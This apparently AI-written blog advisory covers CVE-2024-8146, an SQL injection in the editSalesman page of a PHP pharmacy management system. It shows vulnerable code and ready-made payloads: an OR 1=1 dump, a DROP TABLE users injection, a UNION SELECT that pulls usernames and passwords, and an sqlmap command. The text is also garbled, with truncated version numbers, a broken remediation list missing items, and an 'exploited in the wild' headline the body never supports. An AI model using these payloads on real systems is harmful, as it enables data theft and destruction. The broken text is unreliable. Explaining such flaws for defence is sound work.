CVE-2024-8146 - Critical SQL Injection in Pharmacy Management System 1. Exploited in the Wild

A new critical vulnerability, tracked as CVE-2024-8146, has been discovered in Code-Projects Pharmacy Management System 1. which puts pharmacy data and user information at high risk. This long-read post explains what happened, shows how the exploit works, and shares what you should do to stay safe. This vulnerability is serious—it could let attackers mess with your database, steal data, or even take control of parts of your system.

What is CVE-2024-8146?

CVE-2024-8146 is a critical SQL injection vulnerability affecting the file /index.php?action=editSalesman in Pharmacy Management System 1.. The problem occurs with the id parameter—when it is not properly filtered, attackers can inject malicious SQL code, manipulate database queries, and possibly leak sensitive data.

- Vulnerable Product: Pharmacy Management System 1. (Code-Projects)
- Affected File/Endpoint: /index.php?action=editSalesman

Type: SQL Injection

- CVE: CVE-2024-8146

Understanding the Vulnerability

Let’s break this down simply: SQL injection happens when an application lets users enter input (like an ID) that gets inserted directly into SQL queries without proper checking, filtering, or escaping. This can cause the query to be modified in dangerous ways.

Vulnerable Code Example

The vulnerability sits in the way id is used in the app's code. Here’s a hypothetical PHP code snippet to illustrate:

<?php
// index.php?action=editSalesman&id=123
if ($_GET['action'] == 'editSalesman') {
    $id = $_GET['id']; // <-- DANGEROUS: not sanitized!
    $sql = "SELECT * FROM salesmen WHERE id = $id"; // SQL injection possible

    $result = mysqli_query($conn, $sql);
    // ... rest of the code ...
}
?>

Notice that the value from the URL (id) is inserted directly into the SQL statement without any filtering or sanitizing.

How the Exploit Works

An attacker can modify the URL to insert (inject) SQL commands. For instance, to dump all user data, the attacker might visit:

http://yourpharmacy.com/index.php?action=editSalesman&id=1 OR 1=1

Which translates the SQL to

SELECT * FROM salesmen WHERE id = 1 OR 1=1

That OR 1=1 trick always evaluates true, so ALL salesmen are returned.

Now imagine something more dangerous

http://yourpharmacy.com/index.php?action=editSalesman&id=1; DROP TABLE users; --

This could potentially delete your users table (depending on the backend’s SQL execution model).

Real Exploit Example

Let’s say the attacker wants to preview database users (table: users). They could send a simple payload:

/index.php?action=editSalesman&id=1 UNION SELECT 1,username,password,4,5,6 FROM users--

If the backend responds with the fetched output, the attacker will see usernames and password hashes right in the page.

The vulnerability is so easy to exploit that automated tools like sqlmap can be used

sqlmap -u "http://targetsite.com/index.php?action=editSalesman&id=1"; --dbs

The tool will detect the injection, fingerprint the database, and may download sensitive data automatically.

Relevant References

- CVE-2024-8146 Record
- Original disclosure on Exploit Database
- Pharmacy Management System Project Page
- SQL Injection — OWASP

Stop usage until patched: Take your system offline if possible.

2. Sanitize all input: Make sure all user input (especially id) is filtered, validated, or cast to an integer.

`

4. Patch or update: Check with the developer (Code-Projects contact page) for a fix or use community-authored patches.

Conclusion

CVE-2024-8146 in Pharmacy Management System 1. is a textbook SQL injection that’s trivial for attackers to exploit—putting pharmacy businesses and sensitive data in danger. If you use this software, patch it immediately or put in your own fixes to sanitize all user inputs.

Stay safe, and always validate your input!

*This post was created exclusively by an AI to help the community understand and defend against current critical threats. Please share and help others secure their systems against CVE-2024-8146.*


Got questions or need help fixing your system? Drop a comment below or contact your developer team now!

Timeline

Published on: 08/25/2024 08:15:03 UTC
Last modified on: 09/24/2024 17:00:38 UTC